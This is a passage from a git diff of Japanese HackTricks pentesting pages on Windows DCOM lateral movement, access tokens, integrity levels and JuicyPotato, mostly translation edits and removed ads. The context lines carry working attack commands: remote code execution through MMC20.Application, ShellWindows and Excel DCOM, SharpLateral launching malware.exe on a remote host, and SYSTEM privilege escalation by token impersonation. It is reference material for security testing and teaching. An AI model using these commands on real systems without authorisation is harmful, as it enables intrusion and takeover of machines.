- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} -AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCPハッキングを学び、実践する: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCPハッキングを学び、実践する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
diff --git a/windows-hardening/lateral-movement/dcom-exec.md b/windows-hardening/lateral-movement/dcom-exec.md index 9dbadfb59..70cebcb49 100644 --- a/windows-hardening/lateral-movement/dcom-exec.md +++ b/windows-hardening/lateral-movement/dcom-exec.md @@ -15,14 +15,6 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## MMC20.Application **この技術に関する詳細は、[https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)の元の投稿を確認してください。** @@ -37,14 +29,14 @@ COMオブジェクト、[MMC Application Class (MMC20.Application)](https://tech ```powershell [activator]::CreateInstance([type]::GetTypeFromProgID("", "")) ``` -このコマンドはDCOMアプリケーションに接続し、COMオブジェクトのインスタンスを返します。次に、ExecuteShellCommandメソッドを呼び出してリモートホスト上でプロセスを実行できます。このプロセスは以下のステップを含みます: +このコマンドはDCOMアプリケーションに接続し、COMオブジェクトのインスタンスを返します。次にExecuteShellCommandメソッドを呼び出して、リモートホスト上でプロセスを実行できます。このプロセスは以下のステップを含みます: Check methods: ```powershell $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10")) $com.Document.ActiveView | Get-Member ``` -RCEを取得する: +RCEを取得する: ```powershell $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10")) $com | Get-Member @@ -59,7 +51,7 @@ ls \\10.10.10.10\c$\Users **MMC20.Application** オブジェクトは、明示的な "LaunchPermissions" が欠如しており、デフォルトで管理者のアクセスを許可する権限に設定されています。詳細については、スレッドを [こちら](https://twitter.com/tiraniddo/status/817532039771525120) で確認でき、明示的な Launch Permission を持たないオブジェクトをフィルタリングするために [@tiraniddo](https://twitter.com/tiraniddo) の OleView .NET の使用が推奨されます。 -特に、`ShellBrowserWindow` と `ShellWindows` の2つのオブジェクトは、明示的な Launch Permissions が欠如しているため、注目されました。`HKCR:\AppID\{guid}` の下に `LaunchPermission` レジストリエントリが存在しないことは、明示的な権限がないことを示しています。 +特に、`ShellBrowserWindow` と `ShellWindows` の2つのオブジェクトは、明示的な Launch Permissions が欠如しているため強調されました。`HKCR:\AppID\{guid}` の下に `LaunchPermission` レジストリエントリが存在しないことは、明示的な権限がないことを示しています。 ### ShellWindows ProgID が欠如している `ShellWindows` に対しては、.NET メソッド `Type.GetTypeFromCLSID` と `Activator.CreateInstance` を使用して、その AppID を用いてオブジェクトのインスタンス化を行います。このプロセスでは、OleView .NET を利用して `ShellWindows` の CLSID を取得します。インスタンス化された後は、`WindowsShell.Item` メソッドを通じて相互作用が可能で、`Document.Application.ShellExecute` のようなメソッド呼び出しが行えます。 @@ -73,9 +65,9 @@ $item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\sy ``` ### Lateral Movement with Excel DCOM Objects -横移動は、DCOM Excelオブジェクトを悪用することで達成できます。詳細情報については、[Cybereasonのブログ](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom)でのDCOMを介した横移動のためのExcel DDEの活用に関する議論を読むことをお勧めします。 +ラテラルムーブメントは、DCOM Excelオブジェクトを悪用することで達成できます。詳細情報については、[Cybereasonのブログ](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom)でのDCOMを介したラテラルムーブメントのためのExcel DDEの活用に関する議論を読むことをお勧めします。 -Empireプロジェクトは、DCOMオブジェクトを操作することによってExcelを使用したリモートコード実行(RCE)を示すPowerShellスクリプトを提供しています。以下は、[EmpireのGitHubリポジトリ](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1)で入手可能なスクリプトからの抜粋で、RCEのためにExcelを悪用するさまざまな方法を示しています: +Empireプロジェクトは、DCOMオブジェクトを操作することによってExcelを使用したリモートコード実行(RCE)を示すPowerShellスクリプトを提供しています。以下は、[EmpireのGitHubリポジトリ](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1)にあるスクリプトからの抜粋で、RCEのためにExcelを悪用するさまざまな方法を示しています: ```powershell # Detection of Office version elseif ($Method -Match "DetectOffice") { @@ -111,7 +103,7 @@ SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe ## 自動ツール * Powershellスクリプト [**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module\_source/lateral\_movement/Invoke-DCOM.ps1) は、他のマシンでコードを実行するためのすべてのコメントされた方法を簡単に呼び出すことができます。 -* また、[**SharpLateral**](https://github.com/mertdas/SharpLateral) を使用することもできます: +* [**SharpLateral**](https://github.com/mertdas/SharpLateral) を使用することもできます: ```bash SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe ``` @@ -120,12 +112,6 @@ SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe * [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/) * [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/) -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ GCPハッキングを学び、実践する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) @@ -136,7 +122,7 @@ GCPハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCPハッキングを学び、実践する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Support HackTricks +HackTricksをサポートする -* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** +* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
{% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害された**かどうかを確認するための**無料**機能を提供しています。 - -WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 - -彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます: - -{% embed url="https://whiteintel.io" %} - -*** ## アクセストークン -システムに**ログインしている各ユーザーは、そのログオンセッションのセキュリティ情報を持つアクセストークンを保持しています**。ユーザーがログインすると、システムはアクセストークンを作成します。**ユーザーのために実行されるすべてのプロセスは、アクセストークンのコピーを持っています**。トークンはユーザー、ユーザーのグループ、およびユーザーの権限を識別します。トークンには、現在のログオンセッションを識別するログオンSID(セキュリティ識別子)も含まれています。 +各**ユーザーがシステムにログイン**すると、そのログオンセッションの**セキュリティ情報を持つアクセストークンを保持します**。ユーザーがログインすると、システムはアクセストークンを作成します。**ユーザーのために実行されるすべてのプロセスは**、**アクセストークンのコピーを持っています**。トークンはユーザー、ユーザーのグループ、およびユーザーの特権を識別します。トークンには、現在のログオンセッションを識別するログオンSID(セキュリティ識別子)も含まれています。 -この情報は `whoami /all` を実行することで確認できます。 +この情報は`whoami /all`を実行することで確認できます。 ``` whoami /all @@ -84,7 +71,7 @@ or using _Process Explorer_ from Sysinternals (select process and access"Securit ### ローカル管理者 ローカル管理者がログインすると、**2つのアクセス トークンが作成されます**: 1つは管理者権限を持ち、もう1つは通常の権限を持ちます。**デフォルトでは**、このユーザーがプロセスを実行するとき、**通常の**(非管理者)**権限のトークンが使用されます**。このユーザーが**管理者として**何かを**実行**しようとすると(例えば「管理者として実行」)、**UAC**が許可を求めるために使用されます。\ -[**UACについてもっと学びたい場合は、このページを読んでください**](../authentication-credentials-uac-and-efs/#uac)**。** +[**UACについて詳しく学ぶにはこのページを読んでください**](../authentication-credentials-uac-and-efs/#uac)**。** ### 資格情報のユーザーなりすまし @@ -93,7 +80,7 @@ or using _Process Explorer_ from Sysinternals (select process and access"Securit runas /user:domain\username cmd.exe ``` **アクセス トークン**には、**LSASS**内のログオン セッションの**参照**も含まれています。これは、プロセスがネットワークのいくつかのオブジェクトにアクセスする必要がある場合に便利です。\ -ネットワーク サービスにアクセスするために**異なる資格情報を使用するプロセス**を起動するには、次のようにします: +ネットワーク サービスにアクセスするために**異なる資格情報を使用するプロセス**を起動するには、次のコマンドを使用します: ``` runas /user:domain\username /netonly cmd.exe ``` @@ -103,7 +90,7 @@ runas /user:domain\username /netonly cmd.exe 利用可能なトークンには2種類あります: -* **プライマリトークン**: プロセスのセキュリティ資格情報の表現として機能します。プライマリトークンの作成とプロセスとの関連付けは、特権の分離の原則を強調するために、昇格された権限を必要とするアクションです。通常、トークンの作成は認証サービスが担当し、ログオンサービスがユーザーのオペレーティングシステムシェルとの関連付けを処理します。プロセスは作成時に親プロセスのプライマリトークンを継承することに注意が必要です。 +* **プライマリートークン**: プロセスのセキュリティ資格情報の表現として機能します。プライマリートークンの作成とプロセスとの関連付けは、特権の分離の原則を強調するために、昇格された権限を必要とするアクションです。通常、トークンの作成は認証サービスが担当し、ログオンサービスがユーザーのオペレーティングシステムシェルとの関連付けを処理します。プロセスは作成時に親プロセスのプライマリートークンを継承することに注意が必要です。 * **インパーソネーショントークン**: サーバーアプリケーションがクライアントのアイデンティティを一時的に採用して安全なオブジェクトにアクセスできるようにします。このメカニズムは、4つの操作レベルに階層化されています: * **匿名**: 身元不明のユーザーと同様のサーバーアクセスを付与します。 * **識別**: サーバーがオブジェクトアクセスに利用せずにクライアントのアイデンティティを確認できるようにします。 @@ -112,33 +99,22 @@ runas /user:domain\username /netonly cmd.exe #### インパーソネートトークン -metasploitの_**incognito**_モジュールを使用すると、十分な権限があれば、他の**トークン**を簡単に**リスト**および**インパーソネート**できます。これは、**他のユーザーのように行動するため**に役立つ可能性があります。この技術を使用して**権限を昇格**させることもできます。 +メタスプライトの _**incognito**_ モジュールを使用すると、十分な権限があれば、他の **トークン** を簡単に **リスト** し、**インパーソネート** できます。これは、**他のユーザーのようにアクションを実行する**のに役立ちます。この技術を使用して **権限を昇格** することもできます。 -### トークン権限 +### トークンの権限 -**権限を昇格させるために悪用できるトークン権限を学びましょう:** +**権限を昇格させるために悪用できるトークンの権限を学びましょう:** {% content-ref url="privilege-escalation-abusing-tokens.md" %} [privilege-escalation-abusing-tokens.md](privilege-escalation-abusing-tokens.md) {% endcontent-ref %} -[**すべての可能なトークン権限といくつかの定義をこの外部ページで確認してください**](https://github.com/gtworek/Priv2Admin)。 +[**すべての可能なトークンの権限とこの外部ページのいくつかの定義を確認してください**](https://github.com/gtworek/Priv2Admin)。 ## 参考文献 トークンについてさらに学ぶには、次のチュートリアルを参照してください:[https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa](https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa) および [https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962) -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害された**かどうかを確認するための**無料**機能を提供します。 - -WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 - -彼らのウェブサイトをチェックし、**無料**でエンジンを試すことができます: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ diff --git a/windows-hardening/windows-local-privilege-escalation/integrity-levels.md b/windows-hardening/windows-local-privilege-escalation/integrity-levels.md index b04e2fd4d..30d17c3b0 100644 --- a/windows-hardening/windows-local-privilege-escalation/integrity-levels.md +++ b/windows-hardening/windows-local-privilege-escalation/integrity-levels.md @@ -15,34 +15,20 @@ Learn & practice GCP Hacking: {% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害**されているかどうかを確認するための**無料**機能を提供しています。 - -WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 - -彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます: - -{% embed url="https://whiteintel.io" %} - -*** - ## Integrity Levels -Windows Vista以降のバージョンでは、すべての保護されたアイテムには**整合性レベル**タグが付けられます。この設定では、特定のフォルダーやファイルを除いて、ファイルやレジストリキーに「中」整合性レベルが主に割り当てられます。標準ユーザーによって開始されたプロセスは中整合性レベルを持つのがデフォルトの動作であり、サービスは通常、システム整合性レベルで動作します。高整合性ラベルはルートディレクトリを保護します。 +Windows Vista以降のバージョンでは、すべての保護されたアイテムに**整合性レベル**タグが付いています。この設定では、特定のフォルダーやファイルを除いて、ファイルやレジストリキーに「中」整合性レベルが主に割り当てられます。デフォルトの動作は、標準ユーザーによって開始されたプロセスが中整合性レベルを持つことであり、サービスは通常、システム整合性レベルで動作します。高整合性ラベルはルートディレクトリを保護します。 -重要なルールは、オブジェクトのレベルよりも低い整合性レベルを持つプロセスによってオブジェクトが変更されることはできないということです。整合性レベルは次の通りです: +重要なルールは、オブジェクトのレベルよりも低い整合性レベルを持つプロセスによってオブジェクトが変更されることはできないということです。整合性レベルは次のとおりです: -* **Untrusted**: このレベルは匿名ログインを持つプロセス用です。 %%%例: Chrome%%% -* **Low**: 主にインターネットとの相互作用のため、特にInternet Explorerの保護モードで、関連するファイルやプロセス、**一時インターネットフォルダー**のような特定のフォルダーに影響を与えます。低整合性プロセスは、レジストリ書き込みアクセスがないことや、ユーザープロファイル書き込みアクセスが制限されるなど、重大な制限に直面します。 -* **Medium**: ほとんどの活動のデフォルトレベルで、標準ユーザーや特定の整合性レベルを持たないオブジェクトに割り当てられます。管理者グループのメンバーもデフォルトでこのレベルで動作します。 -* **High**: 管理者専用で、低整合性レベルのオブジェクトを変更できるようにし、高整合性レベルのオブジェクトも含まれます。 -* **System**: Windowsカーネルとコアサービスのための最高の操作レベルで、管理者でさえもアクセスできず、重要なシステム機能を保護します。 -* **Installer**: 他のすべてのレベルの上に位置するユニークなレベルで、このレベルのオブジェクトは他のオブジェクトをアンインストールできます。 +* **信頼されていない**: このレベルは匿名ログインを持つプロセス用です。 %%%例: Chrome%%% +* **低**: 主にインターネットとの相互作用のため、特にInternet Explorerの保護モードで、関連するファイルやプロセス、**一時インターネットフォルダー**のような特定のフォルダーに影響を与えます。低整合性プロセスは、レジストリ書き込みアクセスなし、ユーザープロファイル書き込みアクセスの制限など、重大な制約に直面します。 +* **中**: ほとんどの活動のデフォルトレベルで、標準ユーザーおよび特定の整合性レベルを持たないオブジェクトに割り当てられます。管理者グループのメンバーもデフォルトでこのレベルで動作します。 +* **高**: 管理者専用で、低整合性レベルのオブジェクトを変更できるようにし、高整合性レベルのオブジェクトも含まれます。 +* **システム**: Windowsカーネルとコアサービスの最高の操作レベルで、管理者でさえもアクセスできず、重要なシステム機能を保護します。 +* **インストーラー**: 他のすべてのレベルの上に位置するユニークなレベルで、このレベルのオブジェクトは他のオブジェクトをアンインストールできます。 -**Process Explorer**を使用してプロセスの整合性レベルを取得できます。**Sysinternals**からプロセスの**プロパティ**にアクセスし、"**Security**"タブを表示します: +**Process Explorer**を使用してプロセスの整合性レベルを取得できます。**Sysinternals**からプロセスの**プロパティ**にアクセスし、**セキュリティ**タブを表示します: ![](<../../.gitbook/assets/image (824).png>) @@ -79,7 +65,7 @@ NT AUTHORITY\SERVICE:(I)(M,DC) NT AUTHORITY\BATCH:(I)(M,DC) Mandatory Label\High Mandatory Level:(NW) ``` -これは興味深いところです。ユーザー `DESKTOP-IDJHTKP\user` がファイルに対して **完全な権限** を持っていることがわかります(実際、このユーザーがファイルを作成したのです)。しかし、実装された最小の整合性レベルのため、彼は高い整合性レベル内で実行していない限り、ファイルを変更することができません(彼はそれを読むことができることに注意してください): +これは興味深いところです。ユーザー `DESKTOP-IDJHTKP\user` がファイルに対して **完全な権限** を持っていることがわかります(実際、このユーザーがファイルを作成しました)。しかし、実装された最小の整合性レベルのため、彼は高い整合性レベル内で実行していない限り、ファイルを変更することができません(彼はそれを読むことができることに注意してください): ``` echo 1234 > asd.txt Access is denied. @@ -89,12 +75,12 @@ C:\Users\Public\asd.txt Access is denied. ``` {% hint style="info" %} -**したがって、ファイルに最低限の整合性レベルがある場合、それを変更するには、その整合性レベル以上で実行している必要があります。** +**したがって、ファイルに最低限の整合性レベルがある場合、それを変更するには、その整合性レベル以上で実行する必要があります。** {% endhint %} ### バイナリの整合性レベル -私は `cmd.exe` のコピーを `C:\Windows\System32\cmd-low.exe` に作成し、**管理者コンソールから低い整合性レベルを設定しました:** +`cmd.exe`のコピーを`C:\Windows\System32\cmd-low.exe`に作成し、**管理者コンソールから低い整合性レベルを設定しました:** ``` icacls C:\Windows\System32\cmd-low.exe C:\Windows\System32\cmd-low.exe NT AUTHORITY\SYSTEM:(I)(F) @@ -108,37 +94,26 @@ Mandatory Label\Low Mandatory Level:(NW) ![](<../../.gitbook/assets/image (313).png>) -興味のある方のために、バイナリに高い整合性レベルを割り当てると(`icacls C:\Windows\System32\cmd-high.exe /setintegritylevel high`)、自動的に高い整合性レベルで実行されるわけではありません(中程度の整合性レベルから呼び出すと、デフォルトで中程度の整合性レベルで実行されます)。 +興味のある方のために、高い整合性レベルをバイナリに割り当てると(`icacls C:\Windows\System32\cmd-high.exe /setintegritylevel high`)、自動的に高い整合性レベルで実行されるわけではありません(中程度の整合性レベルから呼び出すと、デフォルトで中程度の整合性レベルで実行されます)。 ### プロセスの整合性レベル -すべてのファイルやフォルダーには最小整合性レベルがあるわけではありませんが、**すべてのプロセスは整合性レベルの下で実行されています**。ファイルシステムで起こったことと同様に、**プロセスが別のプロセス内に書き込むには、少なくとも同じ整合性レベルを持っている必要があります**。これは、低い整合性レベルのプロセスが中程度の整合性レベルのプロセスに対してフルアクセスのハンドルを開くことができないことを意味します。 +すべてのファイルやフォルダーには最小整合性レベルがあるわけではありませんが、**すべてのプロセスは整合性レベルの下で実行されています**。ファイルシステムで起こったことと同様に、**あるプロセスが別のプロセス内に書き込むには、少なくとも同じ整合性レベルを持っている必要があります**。これは、低い整合性レベルのプロセスが中程度の整合性レベルのプロセスに対してフルアクセスのハンドルを開くことができないことを意味します。 このセクションと前のセクションで述べた制限により、セキュリティの観点からは、常に**可能な限り低い整合性レベルでプロセスを実行することが推奨されます**。 -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**侵害された**かどうかを確認するための**無料**機能を提供しています。 - -WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 - -彼らのウェブサイトをチェックして、**無料**でエンジンを試すことができます: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} -AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCPハッキングを学び、実践する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-HackTricksをサポートする +Support HackTricks -* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** -* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。** +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} diff --git a/windows-hardening/windows-local-privilege-escalation/juicypotato.md b/windows-hardening/windows-local-privilege-escalation/juicypotato.md index 48baaee5f..547a5c314 100644 --- a/windows-hardening/windows-local-privilege-escalation/juicypotato.md +++ b/windows-hardening/windows-local-privilege-escalation/juicypotato.md @@ -1,36 +1,22 @@ # JuicyPotato {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCPハッキングを学び、実践する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Support HackTricks +HackTricksをサポートする -* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** +* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
{% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**侵害された**かどうかを確認するための**無料**機能を提供しています。 - -WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 - -彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます: - -{% embed url="https://whiteintel.io" %} - -*** - {% hint style="warning" %} -**JuicyPotatoは** Windows Server 2019およびWindows 10ビルド1809以降では動作しません。ただし、[**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**、** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**、** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)を使用して、**同じ特権を利用し、`NT AUTHORITY\SYSTEM`**レベルのアクセスを取得できます。 _**確認:**_ +**JuicyPotatoは** Windows Server 2019およびWindows 10ビルド1809以降では動作しません。ただし、[**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**、**[**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**、**[**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)を使用して、**同じ特権を利用し、`NT AUTHORITY\SYSTEM`**レベルのアクセスを取得できます。_**確認してください:**_ {% endhint %} {% content-ref url="roguepotato-and-printspoofer.md" %} @@ -39,23 +25,23 @@ WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウ ## Juicy Potato (ゴールデン特権の悪用) -_少しのジュースを加えた_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG) _の甘いバージョン、つまり、**WindowsサービスアカウントからNT AUTHORITY\SYSTEMへの別のローカル特権昇格ツール**_ +_少しのジュースを加えた_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG) _の甘いバージョン、つまり**WindowsサービスアカウントからNT AUTHORITY\SYSTEMへの別のローカル特権昇格ツール**_ -#### JuicyPotatoは[https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)からダウンロードできます +#### juicypotatoは[https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)からダウンロードできます ### 概要 [**juicy-potatoのReadmeから**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:** -[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG)とその[バリアント](https://github.com/decoder-it/lonelypotato)は、[`BITS`](https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799\(v=vs.85\).aspx) [サービス](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126)に基づく特権昇格チェーンを利用し、`127.0.0.1:6666`でMiTMリスナーを持ち、`SeImpersonate`または`SeAssignPrimaryToken`特権を持っている場合に機能します。Windowsビルドレビュー中に、`BITS`が意図的に無効にされ、ポート`6666`が使用されている設定を見つけました。 +[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG)およびその[バリアント](https://github.com/decoder-it/lonelypotato)は、[`BITS`](https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799\(v=vs.85\).aspx) [サービス](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126)に基づく特権昇格チェーンを利用し、`127.0.0.1:6666`でMiTMリスナーを持ち、`SeImpersonate`または`SeAssignPrimaryToken`特権を持っている場合に機能します。Windowsビルドレビュー中に、`BITS`が意図的に無効にされ、ポート`6666`が使用されている設定を見つけました。 -私たちは[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG)を武器化することに決めました: **Juicy Potatoにこんにちはを言いましょう**。 +私たちは[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG)を武器化することに決めました:**Juicy Potatoにこんにちはを言いましょう**。 > 理論については、[Rotten Potato - サービスアカウントからSYSTEMへの特権昇格](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/)を参照し、リンクと参考文献のチェーンをたどってください。 -私たちは、`BITS`以外にも悪用できるCOMサーバーがいくつかあることを発見しました。それらは次の条件を満たす必要があります: +私たちは、`BITS`以外にも悪用できるCOMサーバーがいくつかあることを発見しました。それらは次の条件を満たす必要があります: -1. 現在のユーザーによってインスタンス化可能であること、通常は偽装特権を持つ「サービスユーザー」 +1. 現在のユーザーによってインスタンス化可能であること、通常は特権を持つ「サービスユーザー」 2. `IMarshal`インターフェースを実装していること 3. 高い権限のユーザー(SYSTEM、Administratorなど)として実行されること @@ -63,12 +49,12 @@ _少しのジュースを加えた_ [_RottenPotatoNG_](https://github.com/breenm ### ジューシーな詳細 -JuicyPotatoを使用すると、次のことができます: +JuicyPotatoを使用すると: * **ターゲットCLSID** _任意のCLSIDを選択できます。_ [_こちら_](http://ohpe.it/juicy-potato/CLSID/) _でOS別に整理されたリストを見つけることができます。_ * **COMリスニングポート** _好みのCOMリスニングポートを定義します(ハードコーディングされた6666の代わりに)_ * **COMリスニングIPアドレス** _任意のIPにサーバーをバインドします_ -* **プロセス作成モード** 